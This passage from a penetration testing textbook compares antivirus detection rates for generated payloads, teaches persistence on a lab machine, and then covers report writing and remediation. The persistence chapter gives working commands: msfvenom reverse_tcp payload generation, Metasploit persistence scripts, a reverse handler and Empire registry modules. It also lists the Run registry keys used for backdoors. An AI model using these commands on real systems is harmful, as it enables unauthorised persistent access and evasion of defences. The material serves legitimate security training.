MSFvenom had a detection rate of 50 out of 71, even though we used two encoders with
multiple iterations:

Figure 14: The detection rate of the MSFvenom-generated shellcode

Testing the custom shellcode that we have created using the same MSFvenom payload
produced a significantly lower detection rate of 8 out of 70:

Figure 15: Custom shell code detection rate.
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Veil had a detection rate of 35 out of 70. This is much lower than the one that was
generated using MSFvenom:

Figure 16: The detection rate of the Veil-generated shellcode

TheFatRat had a detection rate of 6 out of 70. This is far lower than both MSFvenom and
Veil. Notice that the filename is Powerfull-fud.exe; TheFatRat would have generated a
normal Powerfull.exe file, which can also be used. That one received a detection rate of 8
out of 70:

Figure 17: The detection rate of the TheFatRat-generated shellcode

We can see here that different techniques produce different results. As antiviruses evolve,
producing a fully undetectable payload gets more difficult. However, knowing how to use
the tools that are available will help you build a payload that is tailored to your target and
is undetectable by their antivirus software.
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Summary
In this chapter, you have learned about the evolution of antiviruses, and how they are now
starting to make use of machine learning and artificial intelligence. You have learned about
the various techniques that can be used for evading antiviruses, and the different tools that
can be used to create undetectable payloads. We have created some payloads using
shellcode and looked at their detection rate using online services such as VirusTotal.
In the next chapter (Chapter 12, Maintaining Control within the Environment), we will
discuss persistence and how to maintain access in the compromised network.

Questions
1.
2.
3.
4.
5.

How have antiviruses evolved?
Name two antivirus evasion techniques.
What tools can be leveraged to build undetectable payloads?
What are the benefits of using a custom-compiled shellcode?
What should you never do once you have built your payload?
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Maintaining Control within the
Environment
Once you have obtained access to the target environment, you need to look at how you can
maintain that access so that you are able to return. In a real-world attack, the attacker
would create multiple backdoors or Command and Control (C2) channels so that access
back into the compromised environment is easily attainable. In a penetration test, you
would do the same.
In this chapter, you will learn that maintaining access is an important step of keeping
control of the target system as an exploit you may have used can be patched, which
ultimately removes your temporary remote access. You will learn about the various
techniques and tools that can be used and will be able to skillfully use the tools described in
this chapter to create persistent access to a target system.
As you progress through this chapter, you will learn about the following topics:
The importance of maintaining access
Techniques used to maintain access
Using tools for persistence

Technical requirements
The following technical requirements are needed for this chapter:
Kali Linux 2019.1
Metasploitable 3
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The importance of maintaining access
In Chapter 10, Moving Laterally and Escalating Your Privileges, we performed postexploitation and obtained access to the compromised host, which ended with us owning
the domain. What happens if the vulnerability we exploited is patched or the IT staff have
discovered there has been a compromise and have taken steps to remediate the gaps, which
ultimately removes our access? We will need a way to get back into the target network or
system. Sure, we can try additional exploits or even start from a social engineering
attack—but this takes time and takes us a number of steps back. This is where maintaining
access comes into play. Maintaining access should be a top priority once you have
compromised the initial system. The objective is to obtain a persistent presence within the
target to obtain a goal of in-depth access.
In the real world, there is a term that is used to define attackers who will often remain in a
system for months before being detected. They are known as Advanced Persistent Threats
(APT). An APT can be an attack campaign, a team of intruders, or even nation state actors
who have a goal of stealing data, compromising sensitive data, or sabotaging critical
infrastructure.
Nation state actors are hackers who work for governments or countries in
order to disrupt or compromise other governments or large organizations.
There goal is to obtain highly valuable data and intelligence. An example
of a nation state actor is "Chollima" from North Korea.
During a penetration test, you don't focus on the unethical goals of an advanced persistent
threat; instead, you focus on obtaining that level of persistence that these sophisticated
attacks are capable of achieving.

Techniques used to maintain access
When you initially compromise a target system, you have temporary access. Once the
system reboots, that access is terminated. There are a number of techniques that can be used
to maintain access. These span from tools and malware to using built-in system tools. Let's
consider some of the various techniques that can be leveraged to maintain access.
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Backdoor
A backdoor enables easy access back into the compromised system. Trojans can be used for
establishing backdoors. A trojan is a type of malware that's disguised as legitimate
software, with the goal of dropping a malicious payload to enable remote access to the
system. Trojans are capable of installing themselves as a service using privileged access,
such as a local system. Trojans can also be used for data exfiltration.
The problem with using a trojan is that it can be detected by antivirus technologies. As we
highlighted in Chapter 11, Antivirus Evasion, antiviruses have evolved and have
sophisticated detection capabilities.

C2
C2 servers are used to maintain communication with hosts that are compromised. This type
of communication can spread from a simple heartbeat to fully-fledged commands that use
the targeted system as a bot. Since this communication is initiated from the compromised
host that's outbound to the C2 server, if you use ports that are known to be open, such as
HTTP/HTTPS, the risk of detection is smaller.

Linux cron jobs
On Linux systems, you have the ability to automatically start tasks. Cron is scheduler and
can be used to run specific commands at a given time. These scheduled tasks are known as
cron jobs. Within the operating system, these cron jobs are usually used to perform tasks
such as backups, deleting log files, and monitoring.
You can leverage a cron job to run payloads that you may have generated using tools such
as Metasploit. A simpler task can be using a cron job to create a netcat session that will
connect back to you.

Living off the land
Living off the land involves using your current operating system's tools to perform tasks.
For example, you may user PowerShell to perform a number of tasks, from reconnaissance
to maintaining a backdoor. The registry is a good way to set up persistent access.
Leveraging the registry allows you to execute batch files and executables and even use
functions within DLLs.
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Focusing on the registry, it's important to understand the difference between
HKEY_LOCAL_MACHINE (HKLM) and HKEY_CURRENT_USER (HKCU). Keys
defined in HKLM are run every time a system is booted, whereas HKCU is run once a user
logs in. The keys that are defined here are the most common ones and are used to inject
backdoors:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOn
ce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnc
e]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

Notice that we have registry keys that are defined as Run and RunOnce. The RunOnce keys
are run just once during boot or login, and then it is deleted, whereas the Run keys remain
in place.

Using tools for persistence
Now that we have covered some of the techniques that can be used to maintain access, let's
focus on some of the tools that are available. The first tool we will look at is the Metasploit
Framework. The second tool we will cover is Empire.

The Metasploit Framework
We have covered Metasploit extensively in this book, that is, when we used it during many
phases of a penetration test. When it comes to persistence, Metasploit has modules in this
area, too.
My target system is the Metasploitable 3 virtual machine. I exploited it using
exploit/windows/smb/ms17_010_eternalblue.
Once the meterpreter session has been created, you can use the run persistence
command to leverage the built-in persistence script. We can see the options that are
available in the following screenshot:
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Figure 1: Meterpreter persistence script options

There is a warning that informs us that the Meterpreter scripts are deprecated and that we
should use /post/windows/manage/persistence_exe. For now, let's stick with the
deprecated script.
To obtain a persistence shell, we can use the run persistence -U -i [seconds] -p
[port] -r [host] command.
This command lets the agent start when the user logs on (-U). We define the interval in
seconds (-i); we define the remote port (-p) and then the host to connect back to (-r). Once
the script runs, we will see that a registry key has been set up and that persistence has been
set up using a .vbs file:

Figure 2: Persistence setup using Meterpreter script
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Once the persistence script has been installed, the shell will reestablish every time the user
logs in. However, we need to do one more thing, and that is to create a handler. This
handler will listen for connections and create the remote session.
A simple handler can be set up using the following commands:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP]
set LPORT [PORT]
exploit

Remember that LHOST is the same IP address that you used in the persistence script, and
that LPORT is the same port you defined in that script too. Once these commands have been
executed, the reverse handler will start:

Figure 3: Creating a handler in Metasploit

Now, you have everything set up for the remote shell to connect back to you, even if the
target system has been rebooted. You can test this out by restarting the Metasploitable 3
virtual machine. Once the machine boots up and a user logs in, the meterpreter session will
be established.
Let's look at the recommended post module that meterpreter mentioned earlier. In order to
use /post/windows/manage/persistence_exe, you need to have created a payload. I
created a simple payload using MSFvenom.
The command that's used to create the payload.exe file that you can see
in the preceding screenshot is msfvenom -p
windows/meterpreter/reverse_tcp LHOST=IP LPORT=1338 -f
exe -o /root/Desktop/payload.exe.
Take note of the port number—it is different to the one we used earlier.
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Once you have generated the payload, you can use the following command within a
Meterpreter session:
run post/windows/manage/persistence_exe REXEPATH=/root/Desktop/payload.exe

REXEPATH is used to define the location of the payload you created in your Kali
environment. STARTUP is used to define the startup type (User, System, or Service); this

will dictate which registry key will be used. Once you enter the preceding command,
Metasploit will perform the persistence attack and create an autorun within the registry, as
shown in the following screenshot:

Figure 4: Persistence using a malicious payload

Once this is done and you exit out of them Meterpreter session, create a new handler.
Remember to define a different port number.
In the following screenshot, note the two sessions I established:

Figure 5: Establishing sessions using Meterpreter
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By using regedit on the target machine, we can verify that the registry key exists:

Figure 6: Registry key created by the persistence modules in Metasploit

The persistence modules in the Metasploit Framework are really powerful. In a real
penetration test, if you were using Metasploit to maintain access, you would leverage an
undetectable payload since the antivirus would probably delete the payload being dropped
onto the target system's disk.

Empire
Let's focus on the persistence modules that Empire offers. These modules are broken down
into five categories:
PowerBreach: These focus on memory resident backdoors. These do not persist
after a reboot.
Userland: These persist after a reboot but work once a defined user logs in. This
is not an administrative persistence module.
Elevated: These allow for persistence using an administrative context. They
persist after a reboot.
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Debugger: These enable persistence using various tools that are available prior to
an RDP login. For example, you can leverage a command prompt shell running
as SYSTEM without the need to log in to the target.
Misc: These are miscellaneous methods of persistence, for example, leveraging
the Mimikatz tool to obtain the machine account password.
In the following screenshot, I have an active agent for the Metasploitable 3 virtual machine:

Figure 7: Active agent in Empire

Using the persistence/userland/registry module, we will leverage the HKCU
registry hive to implant a persistence module within the user context. This script will only
run when the user logs in:

Figure 8: Using a persistence module in the user context

[ 347 ]

Maintaining Control within the Environment

Chapter 12

Once the command executes, we will receive some output, which defines which registry
key was modified and that can be added in the script. In the case of the userland module, it
was set in HKCU:Software\Microsoft\Windows\CurrentVersion\Debug.
Now, let's try an elevated persistence module. We will use the
persistence/elevated/registry module for this. This uses the HKLM registry hive
to implant a script that will run when the target system is booted. We will further modify
this module to define our own registry location (using the set RegPath
HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run command) and key (using
the set KeyName command and some random characters):

Figure 9: Using a persistence module in the elevated system context

Once the command executes, the registry key will be set and we will have a persistent
connection to the remote system.
Using regedit on the target machine, we can verify that the registry key exists:

Figure 10: Registry key set by Empire
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Empire has a wealth of persistence modules that can be used. These span across the
registry, scheduled tasks, and more. Experimenting with them in your lab will help you to
gain a good understanding of how each one works.

Summary
Maintaining access is an important part of a penetration testing engagement. It saves you
from having to re-exploit the target system. Remember that the exploit you may have used
initially could have been patched since you last used it. Therefore, you need to have
another way of accessing the target system to save you from finding new exploits and
wasting time.
In this chapter, you gained insight into the various techniques that can be used to maintain
access in a target environment. You gained the skills to identify specific keys of the
Windows registry, and how they can be used for persistence. Finally, you learned how to
use various tools to maintain access to a target system.
In Chapter 13, Reporting and Acting on Your Findings, we will discuss how to write a
penetration test report and how to identify and recommend remediation steps based on
these findings.

Questions
1.
2.
3.
4.
5.

Why do you need to maintain access?
What is an APT?
Name two techniques that can be used to maintain access.
What does "living off the land" mean?
What is the difference between HKCU and HKLM?
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Section 4: Putting It All
Together
In this section, we will look at closing out the penetration test and furthering your skills in
the field of penetration testing. You will learn about how to create a penetration test report
and the security concepts that should be recommended to help customers reduce their
security exposure based on the results of a penetration test. You will learn how to continue
building your penetration testing career with resources related to gaining skills and
certifications. You will learn about vulnerable resources that can be used to further enhance
your skills.
The following chapters will be covered in this section:
Chapter 13, Reporting and Acting on Your Findings
Chapter 14, Where Do I Go from Here?

13
Reporting and Acting on Your
Findings
Penetration test reports are extremely important as they provide the client with detailed
outcomes of the test. In this chapter, you will be able to understand what exactly goes into a
penetration test report. You will be able to identify the audience of the report and how their
views of the report differ. You will learn how to use Dradis, which can help you to keep
track of findings, issues, and evidence that you can use in your report. You will learn what
kind of remediation efforts are recommended to help a client to secure their environment.
As you progress through this chapter, you will learn about the following topics:
The importance of a penetration testing report
What goes into a penetration test report?
Tools for report writing
Recommending remediation options

Technical requirements
The following technical requirements are needed for this chapter:
Kali Linux 2019.1
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The importance of a penetration testing
report
Don't underestimate the importance of reporting. A penetration test report serves as a way
for you to tell your story of navigating through the target organization and discovering
vulnerabilities. It allows you to communicate important information to stakeholders such
as the executive and IT management teams. This will help them to drive remediation efforts
and provide executive backing to any policies that may need to be created or updated to
address risks that were discovered. Remember that, with information security, if there is no
backing by an executive stake holder, policies are bound to fail.
For technical teams, the report provides a clear picture of how vulnerable their
environment is. It will provide them with the full technical details of what is vulnerable,
why it is vulnerable, who it will affect, and how the vulnerability can be exploited. Having
this information will help the technical team to prepare a roadmap of remediation efforts
and plan which issues will be addressed first.
Don't fall into a pit of not having enough time to produce a decent report—ensure that you
account for report writing within your planning.
When you write your report, don't assume that the people who will read it hold the same
level of technical skill that you have. They work in IT, but their interests might be far
different to yours. There is an art to learning how to explain your findings in a report; it is
an art you will master as you grow and gain experience in the field. Ultimately, you want
your report to help to build relationships with your clients, who will then use your services
over and over.

What goes into a penetration test report?
Some clients might tell you exactly what they want in a report, while some customers
won't. In any event, you should have a basic structure that your report will follow. The
structure that will be discussed here is by no means a template; it is merely to help you to
understand what will be in the report. If you work for a organization that contacts other
organizations to perform penetration tests, they might have their own templates. If you
perform penetration tests as an individual, you will build your own templates.
Let's look at some of the sections that a report can contain.
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Cover page
The cover page should contain information such as the name and logo of the penetration
testing company. The client's name should be displayed, as well as any title that has been
given for the penetration test. This will provide a clear separation in case multiple tests are
performed for the same client. The date should appear on this page, as well as the
classification of the document. The details contained within the report are sensitive and
should not be available for everyone to view; hence, a classification such as confidential or
highly confidential should be used.

Executive summary
The executive summary will communicate the specific goals of the penetration test and
the findings at a high level. The audience of this section will be people who are in charge of
the strategic vision, security programs, and oversight of the organization. This section
usually contains sub-sections, which we will describe now.

Background
In this section, you need to define the purpose of the test. Ensure that you connect details
that were discussed during the pre-engagement phase so that the readers are able to link
aspects such as the risk, countermeasures, or testing goals to the objectives and results of
the test.
You can also list any objectives that may have changed during the engagement within this
section.

Overall posture
Here, you will state the overall posture of the penetration test. You will state how effective
the penetration test was and what goals were achieved during the test. Within this section,
you can state the potential impact it has on the organization.

Risk ranking
This section will define the overall risk ranking of the organization. You will use a scoring
mechanism that should be agreed upon during the pre-engagement phase.
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An example would be the Damage potential, Reproducibility, Exploitability, Affected
users, and Discoverability model (DREAD). Each aspect can be defined as follows:
Damage potential: How affected are the assets?
Reproducibility: How easily can the attack be reproduced?
Exploitability: How easily can the asset be exploited?
Affected users: How many users are affected?
Discoverability: How easily can the vulnerability be found?
By answering these questions, you will assign a risk rating value to each item that's been
discovered. This can be high, medium, or low. The risk rating value can be something
simple that is expressed in numbers, for example, Low=1, Medium=2, and High=3.
Adding up all of the values will determine the risk rating:
Risk rating
High
Medium
Low

Result
12 - 15
8 -11
5-7

An example of using the DREAD model on a finding is as follows:
Vulnerability discovered: Lack of input sanitation enables the use of a SQL injection attack
to extract user details from the SQL database.
Analyzing the ratings for the items in the DREAD model will determine the risk rating:
Item
Damage potential
Reproducibility
Exploitability
Affected users
Discoverability

Rating
3
2
3
3
1

Once you add up all of the values, the sum is 12, which means the risk rating is high.
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General findings
In this section, you will be provided with an overall view of the findings. This will not be
the specific detailed findings, but rather a statistical representation of the findings. You can
look at using graphs or charts that will represent the targets that have been tested, results,
attack scenarios, and other metrics that were defined in the pre-engagement phase. You can
look at using graphs that represent the cause of the issues, for example, lack of operating
system hardening = 35%, and so forth.
The effectiveness of countermeasures can be listed here too. For example, when testing a
web application that has a web application firewall in place, you may state that two out five
attacks were stopped by the firewall.

Strategic roadmap
Roadmaps provide a prioritized plan of remediation. These must be weighed against the
business objectives and level of impact. Ideally, this section should map to the goals defined
by the organization.
The roadmap can be broken down into short-, mid-, and long-term activities. Short-term
would define what the organization can do within a 1-3 month period that would address
the issues that have been discovered. Mid-term could be a 3-6 month period, whereas longterm would be a 6-12 month period.

Technical report
The technical report is where you will communicate all of the technical details around the
findings that you have discovered. This section of the document will describe the scope of
the engagement in detail. The audience of this section will be personnel who have deep
technical skills and will probably be the ones remediating the findings.
The first part of a technical report would be an introduction section. This section would
contain topics such as who was involved in the penetration test, contact information, the
target systems or applications, objectives, and scope.
Let's focus on the main topics that would fall into the technical report.
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Tools used
In some cases, your client may want to reproduce the test that you have performed. In
order for them to obtain the same results, it would be good to disclose the tools that you
used, as well as their versions.
An example of this is as follows:
Testing platform: Kali Linux 2019.1
Metasploit Framework v5: Penetration testing framework
Burp Suite Professional v1.7.34: Web application testing framework
Nmap v7.70: Port scanning and enumeration tool
You will proceed to list all of the tools that were used during the penetration test.

Information gathering
In this section, you will write about how much information is obtainable about the
customer. Be sure to highlight the extent of both public and private information. You can
break down this section into two categories if needed:
Passive information gathering: This section is where you will display the
amount of information that has been gathered without sending any data to the
target. For example, you can highlight any information that was obtained from a
crafted Google dork, DNS, or publicly accessible documents.
Active information gathering: In this section, you will show how much
information was obtained using techniques such as port scanning and other foot
printing activities. This section discloses data that was obtained by directly
sending data to the assets.
Publicly accessible information should be a huge concern for any organization, especially if
any metadata exists within publicly accessible documents that could give away the
organization's username structure.
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Vulnerability assessment and exploitation
In this section, you will define the methods that were used to identify vulnerabilities and
how they were exploited. You will include things such as the classification of the
vulnerability, evidence of it, and CVE details.
When disclosing the vulnerability, be sure to break them into both technical vulnerabilities
and logical vulnerabilities.
Technical vulnerabilities are vulnerabilities that can be exploited by missing patches, or
coding errors or the possibility of injecting malicious code, for example, a SQL injection
attack.
Logical vulnerabilities are exploited by finding a flaw in the way the application works, for
example, a web application that fails to perform a permission check.
Here is an example of how you would report a vulnerability:
Finding: Here, you will discuss the finding in detail. For example: we found that
Server01 (192.168.10.15) is missing the MS17-010 Microsoft Windows patch,
and the server has been manually exploited with DoublePulsar. DoublePulsar
creates a backdoor to the system that can be used by anyone. It opens up a door
for ransomware such as WannaCry and NotPetya, especially on systems that
don't have the MS17-010 patch. We were able to exploit this missing patch to gain
access to the server with full administrative rights. Since we have access to the
server, we were able to extract the local administrator account (localadmin) and
its password hash using Metasploit's hashdump.
Affected host: This is where you define the full name of the host or application,
for example, CLIENT\Server01 (hostname).
Tool used: Here, you will explain what tool you used, for example, Metasploit
Framework v5.
Evidence: This is where you will provide evidence of the exploit. It can be in the
form of a screenshot or screen text capture.
Business impact: In this section, you define what the risk of the finding is. For
example, when systems are not patched in a timely manner, they can introduce a
risk, which could be abused by malware, ransomware, and malicious users to
gain access to sensitive information.
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Root cause: This defines what the cause of the vulnerability is. This can be
technical, such as missing a security patch, or process-related. For example, the
root cause is process-related since a patch management system exists. Servers are
not being patched in a timely manner.
Recommendations: Here, you will define what the recommended course of
action should be to remediate this finding. Ensure that you provide as much
detail as possible. For example, the short-term action would be to update the
server to ensure that it is up to date with all Microsoft patches. The long-term
action would be to ensure that vulnerability assessments are run monthly on the
entire network and that servers and workstations are fully patched. Management
should also scan the network for all systems that have been manually exploited
with DoublePulsar and remove them from the network as they create a backdoor
to the system for anyone to use.
Obtaining the correct level of detail in a report can be tricky. Some customers might find
the report overwhelming if it is too detailed, while some might find it lacking in detail. The
best way to determine the right amount of detail that should be in the report is to spend
time with your client to understand what their expectations are and what they want to get
out of the report.

Post-exploitation
Once you have discussed the vulnerabilities and the exploitation of them, you need to
highlight the actual impact to the client. Remember that this impact would be what the
client would experience in a real-world attack.
Within this section, you can make use of screenshots to elaborate on the extent of the
impact. Some topics that you would discuss in this section are as follows:
Privilege escalation paths and the techniques that were used, for example, passthe-hash attacks and ultimately forging a golden ticket
The ability to maintain access using persistence
The ability to exfiltrate data
Additional systems that may have been accessed using pivot points
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Countermeasure effectiveness can be discussed in this section, including both proactive and
reactive countermeasures. Detection capabilities fall into this section too; for example, was
the antivirus able to detect your payloads?
If there were any incident response activities that were triggered during the penetration
test, these should be listed in this section.

Conclusion
The conclusion will have the final overview of the penetration test. Within this section, you
can reiterate portions of the test and how the client can grow their security posture. Always
end on a positive note, no matter how bad the results are. This will provide your client with
confidence to enforce future testing activities as they grow.

Tools for report writing
When it comes to writing a penetration testing report, you may wonder how to keep track
of findings. Maybe you prefer a manual method of using a word processor, or maybe you
want something that is more intuitive.
Kali Linux includes a tool called Dradis, which is an open source framework that's is used
by security professionals for effective information sharing. Dradis comes in a community
edition and pro edition. Kali Linux contains the community edition. The professional
edition contains a few interesting features, such as custom branding, 2FA, one-click reports,
and the ability to export to multiple file types. However, the community edition contains
the core features that the professional version has and allows you to export the results
in HTML or CSV formats.
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Dradis is accessible from Applications | Reporting Tools:

Figure 1: Accessing Dradis

When you run Dradis for the first time, you will be prompted to create a shared server
password and a new user account. Once you've done that, you will log in to the main
landing page of Dradis.

Methodologies
Within Dradis, there is a section called Methodologies. This is a list of tasks that you want
to perform for a given project. You can create your own methodology or import existing
ones:
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Figure 2: The Methodologies component of Dradis

If you click on Add new and select Download more, you will be redirected to a link where
you can download compliance packages. Download the PTES Technical Guidelines; this
will be a .zip file that you will need to extract. Within the contents of the file will be a
folder called ptes_methodology; extract these files to
/var/lib/dradis/templates/methodologies. Once the files are extracted, refresh the
Dradis page.
Now, you will be able to add the various PTES methodologies. Go ahead and add them all:

Figure 3: Adding the PTES methodologies
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Once you have added them, take note of the output. You now have a checklist of various
tasks that can be performed at different stages of the PTES methodology. This is a good
way to ensure that you are following a methodology standard when performing a
penetration test:

Figure 4: Checklist as per the PTES methodology
Of course, not all penetration tests will follow this methodology. As you perform diﬀerent penetration tests, you will create diﬀerent methodologies that are tailored to the client.

Nodes
Nodes can be likened to folders in a filesystem. This is where you will store information
such as notes, attachments, and evidence files. Nodes will help you to structure your
project.
To create a node, click on the plus (+) sign to the right of Nodes. From here, you will add a
top-level node. You can add them one at a time or all at once:
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Figure 5: Adding multiple nodes

Once you have created your node structure, you have the ability to upload files from other
tools. Here, you can import files from Nmap scans, Nessus, Nikto, and more:

Figure 6: Uploading ﬁles from other tools
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In the following screenshot, I have uploaded an Nmap Scan. Dradis has populated the
properties and notes section to reflect the scan results:

Figure 7: Nmap scan results imported into Dradis

As you import various tool outputs, Dradis will utilize its rule engine to autopopulate the
data into the node.

Issues and evidence
An issue contains information about a problem or vulnerability. For example, you would
provide a description, CVE, URL references, and so on here.
Evidence shows the presence of an issue. For example, you might create evidence of an
exploit working.
Before you can create evidence, you need to create an issue. To create an issue, click on the
plus (+) sign to the right of Issues. You can use a template if you wish, but you don't have
to. Define the issue that you will show evidence about, as follows:
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Figure 8: Creating an issue

Once the issue has been created, you can navigate to the node that you want to log the
evidence on and click on the evidence flag. Next, you will select the issue from the dropdown list and then write your evidence:

Figure 9: Creating evidence
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Within the nodes, you have the option to upload attachments. Attachments can be anything
from screenshots, reports, files that have been downloaded from the target, and so on.
You can explore the project by clicking on the Export results link at the top of the project.
Using Dradis can really help you to keep track of your findings as you perform a
penetration test. Methodologies serve as a good reminder in case you missed a step in a
specific stage of the penetration test.

Recommending remediation options
Within a penetration test report, you will need to give recommendations on how to secure
the findings that were discovered. It's important to understand how the vulnerabilities can
be remediated, as opposed to only knowing how to exploit them.
Let's consider a few of the attacks that were performed throughout this book and the
remediation activities that can be recommended.

Information gathering
During the information gathering phase, we looked at how we can gather information on
our target using publicly accessible sources (OSINT). It's inevitable that an organization
will post information publicly. The key to protecting from information exposure (such as
metadata in documents) is by using techniques such as information protection.
Information protection protects data from unauthorized use, disclosure, access, destruction,
disruption, and modification. Information protection leverages a few techniques, such as
encryption, data classification, policies, and processes to secure information.
Protecting against active information gathering entails securing ports that should not be
open. Network layer defenses can also be used, such as access-control lists on switches, and
firewalls to perform filtering.

Social engineering
Social engineering is perhaps one of the most dangerous attack vectors that's available to
attackers. Successful social engineering attacks are dependent on the amount of information
the attacker can obtain. Similarly, in a penetration test, a successful social engineering
attack will depend on how much information you are able to obtain about the target
organization.
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There is no silver bullet when it comes to protecting against social engineering. At the end
of the day, it is our human nature that will sway us to falling victim to these kinds of
attacks. However, there are some measures that an organization can put into place, as
follows:
Education: Providing end user education is critical to any organization. If users
don't know how to identify social engineering attacks, how will they not fall
victim to them? The key with education is making the end user care about
security.
Awareness: Organizations need to be aware of what type of information is
available publicly. This type of information is the first thing an attacker will
access. If the information discloses too much that a social engineering attack can
easily be crafted, then the organization needs to address that.
Identity verification: Organizations need to look at multiple ways of identifying
a user. For example, when users request a password reset via a self-service
portal, there should be some type of two-factor authentication in place.
Technology: Many organizations are moving their email to cloud services such
as Office 365. Within Office 365, there is a wealth of security mechanisms that can
be enabled to protect against sophisticated phishing attacks. Most of the time,
organizations are not fully aware of the defenses that exist, or they may not have
tweaked them correctly.
Social engineering can be very dangerous to an organization. It all boils down to the
amount of information available that can be used against an organization. If social
engineering was an attack vector in your penetration test, ensure that you disclose exactly
how much information you had access to in order to successfully launch the attack. This
will help the organization to know of their weaknesses and address them.

Vulnerabilities and OS hardening
It is highly unlikely that software will ever be bug-free, and so vulnerabilities will always
exist. This is evident in large-scale software such as operating systems. Operating systems
are complex, with many components that work together. It takes just one flaw in one
component to enable the exploitation of a system.
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Organizations that build software usually follow a Software Development Life
Cycle (SDLC). It is a framework that defines detailed steps on how to develop, maintain,
and replace software. Security is now being encompassed into software life cycles so that
secure software can be built. This dramatically reduces the amount of errors that are found
within the code, which can lead to vulnerabilities, but this does not remove the risk of
coding errors completely.
This is where patch management comes into play. Having a proper patch management
process in place that's adhered to will dramatically reduce the amount of vulnerabilities
that exist in relation to software used by the organization.
Operating system hardening is another good way of ensuring that unsecure protocols that
are known to be vulnerable are not exploited. For example, flaws with SMBv1 are known
and easily exploitable. The Center for Internet Security (CIS) maintains a great repository
of benchmarks and discusses how to harden various systems. The CIS benchmarks can be
found here: https://www.cisecurity.org/cis-benchmarks/.
Microsoft maintains security baselines which apply to their suite of products. These are
exceptional at enabling specific security features within their products. These baselines can
be found here: https://blogs.technet.microsoft.com/secguide/.

Passwords
Password-based attacks are the simplest and oldest form of attacks that are still used today.
Today, organizations have realized the value of having strong passwords, but it comes
down to usability. For example, it's easy to enforce a 12-character password—but how will
end users react to that? Chances are they will use common passwords such as
January@1234, and increment it by months, or maybe they will have a really secure
password and end up writing it down or storing it somewhere. Another pitfall with
passwords is that people tend to reuse them. Their domain password might be the same
one that's used on Facebook, for example.
Securing passwords would entail using more than just passwords for authentication. Multifactor authentication is a must in this day and age. Leveraging additional authentication
methods such as a token, SMS, or a phone call adds that extra layer of protection. Coupling
multi-factor authentication with password best practices such as enforcing complexity, a
higher password length, and enforcing a banned password list will increase the security
posture.
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Web applications
Web applications are prime targets for attackers since these are public facing. They can
serve as an entry point into a network, especially if the web application server is not
segmented properly from a network layer.
The Open Web Application Security Project (OWASP) maintains a list called the OWASP
Top 10. This top 10 list discusses the 10 most critical web application security risks and
mitigations of them. It goes into detail explaining the attack, and its impact and provides
references with attack scenarios. The OWASP Top 10 can be found here: https://www.
owasp.org/index.php/Category:OWASP_Top_Ten_Project.
Another good resource to leverage when looking for web application attack prevention is
the OWASP attack category, which can be found here: https://www.owasp.org/index.
php/Category:Attack.

Privilege escalation and lateral movement
Lateral movement is one of the most common attacks that's used within networks. The
ability to crab walk an environment provides the attacker with a vast landscape that can be
browsed to detect high privilege accounts.
One of the most easiest accounts to use for lateral movement is the local administrator
account. Generally, this account shares the same name and password, which means that if
you compromise it on one computer, it can be easily reused on another. Remediating this
would entail enforcing random local administrator account passwords within the network.
In Windows environments, this can be done using Local Administrator Password
Solution (LAPS). More information on this can be found here: https://www.microsoft.
com/en-us/download/details.aspx?id=46899.
Good credential hygiene is key to preventing privilege escalation. It entails not exposing
high privilege accounts to lower trusted systems, for example, restricting the use of
a domain administrator account on a workstation. If the workstation is compromised, the
hash of the domain administrator account can be dumped and it's game over. Enforcing
the principal of least privilege should be a norm within any environment.
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Summary
In this chapter, you have gained a good understanding of what is included in a penetration
test. You now have the ability to create a report which is targeted at executive and technical
staff. You have hands-on experience with using a reporting tool, Dradis, for documenting
your findings in a penetration test. You have gained insight into the various security
measures that a client can deploy to increase their security posture.
In the next chapter (Chapter 14, Where Do I Go from Here?), we will cover how you can
grow your career in the penetration testing field by looking at certifications, online
resources for training, and practicing your skills.

Questions
1. What is the importance of a penetration test report?
2. What is the difference between the Executive and Technical sections of the
report?
3. What tool can be used to help you to build a report?
4. What is a good source for finding information related to web application attacks
and prevention?
5. Protecting against privilege escalation and lateral movement involves doing
what?
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Where Do I Go from Here?
Concluding the book, we look at how to keep abreast with what is happening in the
penetration testing field. Building your skills and knowledge is an ongoing process in any
profession. As you invest your time and energy, you will certainly see the results as your
skills grow.
In this chapter, you will learn what resources are available that you can leverage to take
your career further by expanding your knowledge. We will look at where to go for toolkit
maintenance. And finally, we will look at the various resources that can be used to test your
skills and offer new challenges.
In this chapter, you will learn the following:
Knowledge maintenance
Toolkit maintenance
Purposely vulnerable resources

Technical requirements
This chapter does not have any technical requirements. We do not perform any hands-on
exercises within this chapter.

Knowledge maintenance
Penetration testing is a topic that fascinates a lot of people in the information technology
field. Experiencing the thrill of being a hacker, knowing how to exploit machines and take
control of systems, gives an individual a sense of power. But, as we have covered in this
book, it is more than blindly hacking systems. Penetration testing is more structured, taking
into consideration the business needs and, of course, providing a solid outcome for the
business to increase their security posture.
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With every profession, you get specialists who specialize in specific aspects of the field. In
the penetration testing field, it is no different. For example, we have the following fields
where a penetration tester can focus:
Network penetration testing
Wireless penetration testing
Web application penetration testing
Let's take a look at each field at a high level.

Network penetration testing
Network penetration testing is the most common penetration testing method. Penetration
testing on networks involves both internal and external networks. The aim is to emulate a
successful attacker who has been able to circumvent the defenses put in place. It enables the
penetration tester to explore many aspects of the organization, providing a clear picture on
the security posture of the organization. Once the penetration tester obtains access to the
network, many obstacles are removed.
Network penetration testing typically includes the following:
Bypassing firewalls
Router testing
Intrusion Prevention Systems (IPS) / Intrusion Detection Systems
(IDS) evasion
DNS footprinting
Open port scanning and testing
SSH attacks
Proxy servers
Network vulnerabilities
In order to grow your skills in this specific field, you need to have a good understanding of
firewalls and how they work, routers and the various routing protocols that exist, and how
